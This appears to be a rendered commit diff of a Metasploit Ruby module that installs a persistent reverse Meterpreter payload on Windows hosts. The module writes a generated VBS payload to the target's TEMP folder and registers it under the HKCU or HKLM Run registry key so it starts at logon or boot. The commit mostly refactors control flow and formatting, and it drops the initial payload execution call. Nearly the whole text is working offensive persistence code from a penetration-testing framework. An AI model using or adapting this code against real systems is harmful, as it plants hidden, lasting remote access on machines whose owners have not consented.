5
5
6
6
require 'msf/core'
7
7
require 'rex'
8
+ require 'msf/core/post/common'
9
+ require 'msf/core/post/file'
10
+ require 'msf/core/post/windows/priv'
11
+ require 'msf/core/post/windows/registry'
8
12
require 'msf/core/exploit/exe'
9
13
10
14
class Metasploit3 < Msf ::Exploit ::Local
11
15
Rank = ExcellentRanking
12
16
17
+ include Msf ::Post ::Common
13
18
include Msf ::Post ::File
14
19
include Msf ::Post ::Windows ::Priv
15
20
include Msf ::Post ::Windows ::Registry
@@ -19,7 +24,7 @@ def initialize(info={})
19
24
super ( update_info ( info ,
20
25
'Name' => 'Windows Manage Persistent Payload Installer' ,
21
26
'Description' => %q{
22
- This Module will create a boot persistent reverse Meterpreter session by
27
+ This Module will create a boot persistent reverse Meterpreter session by
23
28
installing on the target host the payload as a script that will be executed
24
29
at user logon or system startup depending on privilege and selected startup
25
30
method.
@@ -44,7 +49,6 @@ def initialize(info={})
44
49
OptString . new ( 'REG_NAME' , [ false , 'The name to call registry value for persistence on remote system' , '' ] ) ,
45
50
OptString . new ( 'PATH' , [ false , 'Path to write payload' ] ) ,
46
51
] , self . class )
47
-
48
52
end
49
53
50
54
# Exploit Method for when exploit command is issued
@@ -59,49 +63,37 @@ def exploit
59
63
60
64
exe = generate_payload_exe
61
65
script = ::Msf ::Util ::EXE . to_exe_vbs ( exe , { :persist => true , :delay => delay } )
62
- script_on_target = write_script_to_target ( script , rexename )
66
+ script_on_target = write_script_to_target ( script , rexename )
63
67
64
- if script_on_target == nil
65
- # exit the module because we failed to write the file on the target host.
66
- return
67
- end
68
+ # exit the module because we failed to write the file on the target host.
69
+ return unless script_on_target
68
70
69
71
# Initial execution of script
70
- if target_exec ( script_on_target ) == nil
71
- # Exit if we where not able to run the payload.
72
- return
73
- end
74
72
75
73
case datastore [ 'STARTUP' ]
76
- when /USER/i
77
- regwrite = write_to_reg ( "HKCU" , script_on_target , reg_val )
74
+ when 'USER'
78
75
# if we could not write the entry in the registy we exit the module.
79
- if not regwrite
80
- return
81
- end
82
- when /SYSTEM/i
83
- regwrite = write_to_reg ( "HKLM" , script_on_target , reg_val )
76
+ return unless write_to_reg ( "HKCU" , script_on_target , reg_val )
77
+ when 'SYSTEM'
84
78
# if we could not write the entry in the registy we exit the module.
85
- if not regwrite
86
- return
87
- end
79
+ return unless write_to_reg ( "HKLM" , script_on_target , reg_val )
88
80
end
89
81
90
82
clean_rc = log_file ( )
91
- file_local_write ( clean_rc , @clean_up_rc )
83
+ file_local_write ( clean_rc , @clean_up_rc )
92
84
print_status ( "Cleanup Meterpreter RC File: #{ clean_rc } " )
93
85
94
86
report_note ( :host => host ,
95
87
:type => "host.persistance.cleanup" ,
96
88
:data => {
97
- :local_id => session . sid ,
98
- :stype => session . type ,
99
- :desc => session . info ,
100
- :platform => session . platform ,
89
+ :local_id => session . sid ,
90
+ :stype => session . type ,
91
+ :desc => session . info ,
92
+ :platform => session . platform ,
101
93
:via_payload => session . via_payload ,
102
94
:via_exploit => session . via_exploit ,
103
- :created_at => Time . now . utc ,
104
- :commands => @clean_up_rc
95
+ :created_at => Time . now . utc ,
96
+ :commands => @clean_up_rc
105
97
}
106
98
)
107
99
end
@@ -116,9 +108,11 @@ def log_file(log_path = nil)
116
108
117
109
# Create a directory for the logs
118
110
if log_path
119
- logs = ::File . join ( log_path , 'logs' , 'persistence' , Rex ::FileUtils . clean_path ( host + filenameinfo ) )
111
+ logs = ::File . join ( log_path , 'logs' , 'persistence' ,
112
+ Rex ::FileUtils . clean_path ( host + filenameinfo ) )
120
113
else
121
- logs = ::File . join ( Msf ::Config . log_directory , 'persistence' , Rex ::FileUtils . clean_path ( host + filenameinfo ) )
114
+ logs = ::File . join ( Msf ::Config . log_directory , 'persistence' ,
115
+ Rex ::FileUtils . clean_path ( host + filenameinfo ) )
122
116
end
123
117
124
118
# Create the log directory
@@ -129,18 +123,20 @@ def log_file(log_path = nil)
129
123
return logfile
130
124
end
131
125
132
- # Writes script to target host
133
- def write_script_to_target ( vbs , name )
126
+ # Writes script to target host and returns the pathname of the target file or nil if the
127
+ # file could not be written.
128
+ def write_script_to_target ( vbs , name )
134
129
tempdir = datastore [ 'PATH' ] || session . sys . config . getenv ( 'TEMP' )
135
- if name == nil
130
+ unless name
136
131
tempvbs = tempdir + "\\ " + Rex ::Text . rand_text_alpha ( ( rand ( 8 ) +6 ) ) + ".vbs"
137
132
else
138
133
tempvbs = tempdir + "\\ " + name + ".vbs"
139
134
end
140
135
begin
141
136
write_file ( tempvbs , vbs )
142
137
print_good ( "Persistent Script written to #{ tempvbs } " )
143
- @clean_up_rc << "rm '#{ tempvbs } '\n "
138
+ tempvbs = tempvbs . gsub ( /\\ / , '//' ) # Escape windows pathname separators.
139
+ @clean_up_rc << "rm #{ tempvbs } \n "
144
140
rescue
145
141
print_error ( "Could not write the payload on the target hosts." )
146
142
# return nil since we could not write the file on the target host.
@@ -149,48 +145,39 @@ def write_script_to_target(vbs,name)
149
145
return tempvbs
150
146
end
151
147
152
- # Executes script on target and return the PID of the process
148
+ # Executes script on target and returns true if it was successfully started
153
149
def target_exec ( script_on_target )
154
150
execsuccess = true
155
151
print_status ( "Executing script #{ script_on_target } " )
156
152
# error handling for process.execute() can throw a RequestError in send_request.
157
153
begin
158
- if datastore [ 'EXE::Custom' ] . nil?
154
+ unless datastore [ 'EXE::Custom' ]
159
155
session . shell_command_token ( script_on_target )
160
156
else
161
157
session . shell_command_token ( "cscript \" #{ script_on_target } \" " )
162
158
end
163
159
rescue
164
- print_error ( "Failed to execute payload on target host." )
165
- execsuccess = nil
160
+ print_error ( "Failed to execute payload on target host." )
161
+ execsuccess = false
166
162
end
167
163
return execsuccess
168
164
end
169
165
170
166
# Installs payload in to the registry HKLM or HKCU
171
- def write_to_reg ( key , script_on_target , registry_value )
172
- # Lets start to assume we had success.
173
- write_success = true
174
- if registry_value . nil?
175
- nam = Rex ::Text . rand_text_alpha ( rand ( 8 ) +8 )
176
- else
177
- nam = registry_value
178
- end
167
+ def write_to_reg ( key , script_on_target , registry_value )
168
+ nam = registry_value || Rex ::Text . rand_text_alpha ( rand ( 8 ) +8 )
169
+ key_path = "#{ key . to_s } \\ Software\\ Microsoft\\ Windows\\ CurrentVersion\\ Run"
179
170
180
- print_status ( "Installing into autorun as #{ key } \\ Software \\ Microsoft \\ Windows \\ CurrentVersion \\ Run \\ #{ nam } " )
171
+ print_status ( "Installing into autorun as #{ key_path } \\ #{ nam } " )
181
172
182
- if ( key )
183
- set_return = registry_setvaldata ( "#{ key } \\ Software\\ Microsoft\\ Windows\\ CurrentVersion\\ Run" , nam , script_on_target , "REG_SZ" )
184
- if set_return
185
- print_good ( "Installed into autorun as #{ key } \\ Software\\ Microsoft\\ Windows\\ CurrentVersion\\ Run\\ #{ nam } " )
186
- else
187
- print_error ( "Failed to make entry in the registry for persistence." )
188
- write_success = false
189
- end
173
+ if key && registry_setvaldata ( key_path , nam , script_on_target , "REG_SZ" )
174
+ print_good ( "Installed into autorun as #{ key_path } \\ #{ nam } " )
175
+ return true
190
176
else
191
- print_error ( "Error: failed to open the registry key for writing" )
192
- write_success = false
177
+ print_error ( "Failed to make entry in the registry for persistence." )
193
178
end
179
+
180
+ false
194
181
end
195
182
196
183
end
0 commit comments